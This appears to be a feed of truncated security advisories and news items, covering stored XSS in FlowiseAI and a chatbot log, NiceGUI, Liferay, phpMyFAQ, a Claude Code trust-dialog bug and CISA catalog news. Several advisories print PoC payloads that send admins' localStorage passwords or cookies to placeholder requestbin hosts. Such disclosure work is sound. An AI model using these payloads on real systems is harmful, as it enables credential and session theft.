#vulnerability

A vulnerability in Liferay Portal 7.4.0 through 7.4.3.132, and Liferay DXP 2025.Q1.0 through 2025.Q1.4, 2024.Q4.0 through 2024.Q4.5, 2024.Q3.0 through 2024.Q3.13, 2024.Q2.1 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 2023.Q4.0 through 2023.Q4.10, 2023.Q3.1 through 2023.Q3.10, and 7.4 GA through update 92 allows sensitive user data to be included in the Freemarker template. This weakness permits an unauthorized actor to gain access to, and potentially render, confidential information that should remain restricted.

### Description In the chat log, tags like input and form are allowed. This makes a potential vulnerability where an attacker could inject malicious HTML into the log via prompts. When an admin views the log containing the malicious HTML, the attacker could steal the admin's credentials or sensitive information with stored Cross Site Scripting. ### PoC ```html <form> <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:alert('XSS!!!');" /> </form> ``` If the above HTML code is entered, a very large img gets injected into the log. When an admin clicks the generated img, it alerts ‘XSS!!!’. It means stored xss is able in the chatbot. ```html <form> <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:window.location.href='<YOUR_REQUESTBIN_SERVER>?passwd=' + encodeURIComponent(localStorage.getItem('password'));" /> </form> ``` So when an admin clicks the img that generated by above htm...

### Summary A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to `localStorage`. --- ### Details The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `<iframe srcdoc="...">` can include arbitrary JavaScript, which is executed when the message is rendered. --- ### PoC 1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website). 2. Send the following payload via the agent's chat interface: ```html <iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>"> ``` 3. As an admin, go to the workflow and click...

### Summary A XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc. ### Details 1. Send a Message `<iframe src="javascript:alert(document.cookie);">` from User in a chat box: <img width="1396" alt="image" src="https://github.com/user-attachments/assets/b472e304-9e7a-40d2-8469-675a5f0744e5" /> ##### Trigger in other ways: 2. Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows) 3. Create a Custom function as an example, use the below example code. ``` const fetch = require('node-fetch'); const url = 'https://external.website'; const options = { method: 'GET', headers: { 'Content-Type': 'application/js...

### Summary A Cross-Site Scripting (XSS) risk exists in NiceGUI when developers render unescaped user input into the DOM using `ui.html()`. Before version 3.0, NiceGUI does not enforce HTML or JavaScript sanitization, so applications that directly combine components like `ui.input()` with `ui.html()` without escaping may allow attackers to execute arbitrary JavaScript in the user’s browser. Same holds for `ui.chat_message` with HTML content. Applications that directly reflect user input via `ui.html()` (or `ui.chat_message` in HTML mode) are affected. This may lead to client-side code execution (e.g., session hijacking or phishing). Applications that do not pass untrusted input into ui.html() are not affected. ### Details NiceGUI allows developers to bind user input directly into the DOM using `ui.html()` or `ui.chat_message()`. However, the library does not enforce any HTML or JavaScript sanitization, which potentially creates a dangerous attack surface for developers unaware of t...

Bitsight warns ICS/OT exposure jumped 12% in 2024, leaving 180,000+ critical infrastructure systems open to attack. Learn about the possible vulnerabilities and new malware strains.

### Summary phpMyFAQ does not enforce uniqueness of email addresses during user registration. This allows multiple distinct accounts to be created with the same email. Because email is often used as an identifier for password resets, notifications, and administrative actions, this flaw can cause account ambiguity and, in certain configurations, may lead to privilege escalation or account takeover. ### Details An account management logic flaw in phpMyFAQ allows attackers to register multiple accounts under the same email address. If email is used for password reset or administrative flows, this may result in account takeover, loss of accountability, and abuse of business logic. ### PoC 1.Register a user with email test@example.com 2.Register another user with the same email. 3.Both accounts appear in /admin/?action=user&user_action=listallusers. <img width="1150" height="628" alt="image" src="https://github.com/user-attachments/assets/8c19f01a-e897-4ca7-b3f8-fcf83e6ff952" /> ### Imp...

Due to a bug in the startup trust dialog implementation, Claude Code could be tricked to execute code contained in a project before the user accepted the startup trust dialog. Exploiting this requires a user to start Claude Code in an untrusted directory. Users on standard Claude Code auto-update will have received this fix automatically. Users performing manual updates are advised to update to the latest version. Thank you to https://hackerone.com/avivdon for reporting this issue!

A ‘high-volume’ extortion campaign possibly linked to FIN11 and Cl0p is targeting Oracle E-Business executives. Mandiant and GTIG are investigating unproven data theft claims.

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Thursday added a high-severity security flaw impacting Smartbedded Meteobridge to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. The vulnerability, CVE-2025-4008 (CVSS score: 8.7), is a case of command injection in the Meteobridge web interface that could result in code execution. "